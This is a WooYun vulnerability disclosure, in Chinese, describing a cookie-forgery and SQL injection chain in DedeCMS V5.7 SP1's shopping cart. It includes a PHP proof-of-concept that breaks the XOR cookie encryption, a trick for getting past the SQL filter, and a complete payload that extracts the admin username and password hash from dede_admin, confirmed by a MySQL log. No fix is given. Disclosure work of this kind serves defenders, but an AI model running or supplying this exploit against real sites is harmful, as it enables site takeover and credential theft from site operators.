WooYun-2014-71655:DedeCMS-V5.7-SP1(2014-07-25)sql注入+新绕过思路
漏洞作者: roker
来源:http://www.wooyun.org/bugs/wooyun-2014-071655
简要描述
rt................好紧张。。
详细说明
让我们来看看这个文件
/include/shopcar.class.php
提取关键加解密函数代码
function enCrypt($txt)
{
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0, 32000));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode($this->setKey($tmp));
}
//解密接口字符串
function deCrypt($txt)
{
$txt = $this->setKey(base64_decode($txt));
$tmp = '';
for ($i = 0; $i < strlen($txt); $i++)
{
$tmp .= $txt[$i] ^ $txt[++$i];
}
return $tmp;
}
//处理加密数据
function setKey($txt)
{
global $cfg_cookie_encode;
$encrypt_key = md5(strtolower($cfg_cookie_encode));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
//串行化数组
function enCode($array)
{
$arrayenc = array();
foreach($array as $key => $val)
{
$arrayenc[] = $key.'='.urlencode($val);
}
return implode('&', $arrayenc);
}
//创建加密的_cookie
function saveCookie($key,$value)
{
if(is_array($value))
{
$value = $this->enCrypt($this->enCode($value));
}
else
{
$value = $this->enCrypt($value);
}
setcookie($key,$value,time()+36000,'/');
}
//获得解密的_cookie
function getCookie($key)
{
if(isset($_COOKIE[$key]) && !empty($_COOKIE[$key]))
{
return $this->deCrypt($_COOKIE[$key]);
}
}
}
是不是感觉很熟悉?看这里-->http://**.**.**.**/bugs/wooyun-2014-062391
一样的算法,只不过将microtime 替换成了 md5(rand(0, 32000)),按照 海贼牛的方法的话,我们需要暴力 穷举32^36次,这数太大,我不敢算,我们真的需要暴力破解么??
直接来看看 解密函数吧。
function deCrypt($txt)
{
$txt = $this->setKey(base64_decode($txt));
$tmp = '';
for ($i = 0; $i < strlen($txt); $i++)
{
$tmp .= $txt[$i] ^ $txt[++$i];
}
return $tmp;
}
//处理加密数据
function setKey($txt)
{
global $cfg_cookie_encode;
$encrypt_key = md5(strtolower($cfg_cookie_encode));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
现在 我们假设 密文为 ABCDEF....(base_decode后的) 。通过上述代码 可以发现 解密函数中 参与 运算的是 key的MD5值。我们假定为 K1 k2 k3 k4 k5 k6........k32.
首先带入 setKey函数,
A^K1 ->M1
B^K2 ->M2
C^K3 ->M3
D^K4 ->M4
然后将 M1~6 带入decrypt后的操作。
M2^M1 ->a
M4^M3 ->b
M6^M5 ->c
abc 即为 我们的明文
对于异或算法 我们知道 它有以下特性
H^I = J -> H^J=I
(H^I)^J=H^I^J
密文A B 与明文 a 所对应的的关系为。
A^K1 = M1 M1^M2 = a B^K2 = M2
联立得(尼玛像是在做奥数。。) A^K1^B^K2 =a 即 A^B^a = K1^K2,同理可得到 C^D^b = K3^K4 E^F^c=K5^K6
k1~32是 密匙k的32位 md5值,是固定不变的。
那么 得到如下 如下关系: 任何密文的i ,i+1 位 与其所对应的的 明文的 i 位 做异或运算(i为偶数) 结果是一个固定不变的值(Ki^Ki+1)
so,我们只需要一个已知明文的密文就可以 构造任意密文了。
poc如下,
function dede_cracked($Expressly,$Ciphertext,$str,$way){
$Ciphertext = base64_decode($Ciphertext);
if ($way=="descrypt"){
$text2="";
$str=base64_decode($str);
}else{
$text2="a";
}
$j=0;
$s=0;
for($i=0;$i<strlen($str);$i++,$s++){
if($j==32){$j=0;$s=0;}
$tmp=$Ciphertext[$j]^$Ciphertext[$j+1];
$tmp=$tmp^$Expressly[$s];
$tmp=$tmp^$str[$i];
if ($way=="descrypt"){
$text1=$tmp^$str[++$i];
}
else{
$text1=$tmp^$text2;
}
$xxoo =$xxoo.$text2.$text1;
$j=$j+2;
}
if ($way=="descrypt"){
echo $xxoo;}
else{
echo base64_encode($xxoo);}
}
在 plus/carbuyaction.php
foreach($Items as $key=>$val)
{
$val['price'] = str_replace(",","",$val['price']);
$dsql->ExecuteNoneQuery("INSERT INTO `#@__shops_products` (`aid`,`oid`,`userid`,`title`,`price`,`buynum`)
VALUES ('$val[id]','$OrdersId','$userid','$val[title]','$val[price]','$val[buynum]');");
}
将解密后的数据带入了数据库。
本以为到这里就结束了,然而,dede自带的防护sql注入的函数做了更新,以前的@,char都不能用了。
想了很久终于想到了办法,
我们可以用双引号来包裹 ' 再用逗号分隔 两个相连的 ''。
看到函数里的这段代码你就知道为什么我要这么做了。。直接看我的下面的sql语句可能会更形象~
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE
OR strpos($clean,'$s$$s$')!== FALSE)
首先,注册用户,将一个商品加入购物车,来到plus/car.php页面,此时查看cookie
Shop_De开头的和 DedeUserID就是我们所需要的~
调用poc里的函数
得到 最终playload
dede_cracked("id=108&price=11&units=&buynum=1&title=aa","AWgGMlFrAzNUMAFqWyYBdFV0UmgHNFI3Vm0BMwUwBC4AdQc5CmRVIAcgBWtfNVBzATBVcwApAW8FdlE%2FWWBVaAEnBiJRPwN2VGwBN1s9AWVVZw==","id=',\"'&title=\" or ',','8',(SELECT concat(uname,0x23,pwd) FROM dede_admin LIMIT 1),',','1')#","encrypt");
修改cookie,提交订单
可以看到mysql的执行日志
INSERT INTO `dede_shops_products` (`aid`,`oid`,`userid`,`title`,`price`,`buynum`)
VALUES ('',"'','wooyuni','8','" or ',','8',(SELECT concat(uname,0x23,pwd) FROM dede_admin LIMIT 1),',','1')#','0.00','0')
查看商品,ok,数据出来了~
[
漏洞证明
修复方案
你们更专业~~